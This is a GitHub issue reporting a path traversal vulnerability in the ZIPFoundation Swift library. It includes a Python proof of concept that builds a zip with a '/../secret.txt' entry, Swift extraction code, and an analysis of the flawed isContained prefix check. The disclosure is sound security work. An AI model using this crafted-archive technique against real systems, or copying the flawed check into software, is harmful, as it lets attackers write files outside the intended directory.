weichsel / ZIPFoundation

Effortless ZIP Handling in Swift
MIT License
2.31k stars 255 forks source link

Path traversal vulnerability #281

Closed BlueSquare1 closed 8 months ago

BlueSquare1 commented 1 year ago

Summary

Path parsing confusion between URL from Foundation package and fopen function, leading to path traversal.

Steps to Reproduce

1- Generate payload.zip using the following code:

import zipfile

def compress_file(filename):
    with zipfile.ZipFile('payload.zip', 'w') as zipf:
        zipf.writestr(filename, "Test payload")

filename = '/../secret.txt'

compress_file(filename)

2- Extract payload.zip using unzipItem

import Foundation
import ZIPFoundation

let fileManager = FileManager()
var sourceURL = URL(fileURLWithPath: "/path/to/payload.zip")
var destinationURL = URL(fileURLWithPath: "/path/to/")

do {
    try fileManager.createDirectory(at: destinationURL, withIntermediateDirectories: true, attributes: nil)
    try fileManager.unzipItem(at: sourceURL, to: destinationURL)
} catch {
    print("Extraction of ZIP archive failed with error:\(error)")
}

Expected Results

secret.txt is extracted to the target extraction directory

Actual Results

secret.txt is extracted to the parent of target extraction directory

Technical details

the package uses the following function to check that the zip entry path is located within the extraction directory:

func isContained(in parentDirectoryURL: URL) -> Bool {
        // Ensure this URL is contained in the passed in URL
        let parentDirectoryURL = URL(fileURLWithPath: parentDirectoryURL.path, isDirectory: true).standardized
        return self.standardized.absoluteString.hasPrefix(parentDirectoryURL.absoluteString)
    }​

However, when provided with the following path /base_path/extraction_directory//../ the path gets normalized to /base_path/extraction_directory/entry_file_name which passes the check above.

when that same path is passed to fopen, it gets normalized to /base_path/entry_file_name.

let destinationRepresentation = fileManager.fileSystemRepresentation(withPath: url.path)
guard let destinationFile: FILEPointer = fopen(destinationRepresentation, "wb+") else {
    throw CocoaError(.fileNoSuchFile)
}​